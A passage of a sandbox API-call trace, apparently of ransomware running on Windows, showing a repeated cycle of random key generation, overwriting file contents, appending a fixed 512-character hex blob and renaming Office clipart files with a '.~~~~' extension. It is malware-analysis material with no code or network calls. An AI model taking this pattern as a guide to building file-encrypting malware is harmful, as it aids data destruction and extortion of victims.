	[0114.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2835ff8
	[0114.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.119] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0114.119] GetLastError () returned 0x0
	[0114.119] GetLastError () returned 0x0
	[0114.119] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0114.119] GetLastError () returned 0x0
	[0114.120] GetLastError () returned 0x0
	[0114.143] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffe8a1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.144] WriteFile (in: hFile=0x138, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x175f, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x175f, lpOverlapped=0x0) returned 1
	[0114.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0114.146] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.146] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.146] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.146] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.146] CloseHandle (hObject=0x138) returned 1
	[0114.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2835ff8
	[0114.146] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.~~~~")) returned 1
	[0114.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2835ff8 | out: hHeap=0x300000) returned 1
	[0114.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0114.148] GetLastError () returned 0x0
	[0114.150] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942318) returned 1
	[0114.151] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.151] CryptReleaseContext (hProv=0x2942318, dwFlags=0x0) returned 1
	[0114.151] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0114.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0114.152] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23414177939) returned 1
	[0114.152] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xada304b0, dwHighDateTime=0x1d60e1e)) 
	[0114.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0114.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0114.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0114.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839990
	[0114.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.152] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839990 | out: hHeap=0x300000) returned 1
	[0114.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.152] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0114.152] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836ed0
	[0114.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.153] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0114.153] GetLastError () returned 0x0
	[0114.153] GetLastError () returned 0x0
	[0114.153] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0114.153] GetLastError () returned 0x0
	[0114.154] GetLastError () returned 0x0
	[0114.156] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd876, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.157] WriteFile (in: hFile=0x138, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x278a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x278a, lpOverlapped=0x0) returned 1
	[0114.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0114.159] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.159] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.159] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.159] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.159] CloseHandle (hObject=0x138) returned 1
	[0114.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0114.160] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.~~~~")) returned 1
	[0114.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0114.162] GetLastError () returned 0x0
	[0114.164] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942318) returned 1
	[0114.166] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.166] CryptReleaseContext (hProv=0x2942318, dwFlags=0x0) returned 1
	[0114.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0114.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0114.166] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23415627851) returned 1
	[0114.166] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xada56610, dwHighDateTime=0x1d60e1e)) 
	[0114.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0114.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0114.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0114.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28399c8
	[0114.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28399c8 | out: hHeap=0x300000) returned 1
	[0114.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0114.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2836f68
	[0114.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.167] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0114.168] GetLastError () returned 0x0
	[0114.168] GetLastError () returned 0x0
	[0114.168] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0114.168] GetLastError () returned 0x0
	[0114.168] GetLastError () returned 0x0
	[0114.247] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffec3e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.247] WriteFile (in: hFile=0x138, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x13c2, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x13c2, lpOverlapped=0x0) returned 1
	[0114.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0114.248] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.248] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.248] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.248] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.249] CloseHandle (hObject=0x138) returned 1
	[0114.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0114.249] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.~~~~")) returned 1
	[0114.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0114.284] GetLastError () returned 0x0
	[0114.284] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0114.286] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.286] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0114.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0114.286] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23427603635) returned 1
	[0114.286] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xadb87110, dwHighDateTime=0x1d60e1e)) 
	[0114.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0114.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0114.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0114.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839bc0
	[0114.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839bc0 | out: hHeap=0x300000) returned 1
	[0114.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.287] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0114.287] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.287] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837000
	[0114.287] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.287] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0114.287] GetLastError () returned 0x0
	[0114.287] GetLastError () returned 0x0
	[0114.287] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0114.288] GetLastError () returned 0x0
	[0114.288] GetLastError () returned 0x0
	[0114.322] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffac0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.322] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x540, lpOverlapped=0x0) returned 1
	[0114.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0114.324] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.324] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.325] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.325] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.325] CloseHandle (hObject=0x138) returned 1
	[0114.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0114.325] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf.~~~~")) returned 1
	[0114.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0114.327] GetLastError () returned 0x0
	[0114.327] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0114.328] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.328] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.328] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0114.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0114.328] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23431846369) returned 1
	[0114.328] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xadbf9530, dwHighDateTime=0x1d60e1e)) 
	[0114.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0114.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0114.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0114.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839c68
	[0114.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.329] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839c68 | out: hHeap=0x300000) returned 1
	[0114.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0114.329] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0114.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0114.329] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0114.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837558
	[0114.329] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.329] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0114.329] GetLastError () returned 0x0
	[0114.329] GetLastError () returned 0x0
	[0114.330] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0114.330] GetLastError () returned 0x0
	[0114.330] GetLastError () returned 0x0
	[0114.337] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff9f4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.337] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x60c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x60c, lpOverlapped=0x0) returned 1
	[0114.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0114.338] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.338] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0114.338] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0114.338] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0114.338] CloseHandle (hObject=0x138) returned 1
	[0114.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0114.339] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf.~~~~")) returned 1
	[0114.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0114.341] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0114.341] GetLastError () returned 0x0
	[0114.341] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0114.343] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0114.343] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0114.343] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0114.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0114.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0114.343] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23433305056) returned 1
	[0114.343] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xadc1f690, dwHighDateTime=0x1d60e1e)) 
	[0114.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0114.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0114.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0114.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839cd8
	[0114.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0114.343] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839cd8 | out: hHeap=0x300000) returned 1
	[0114.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
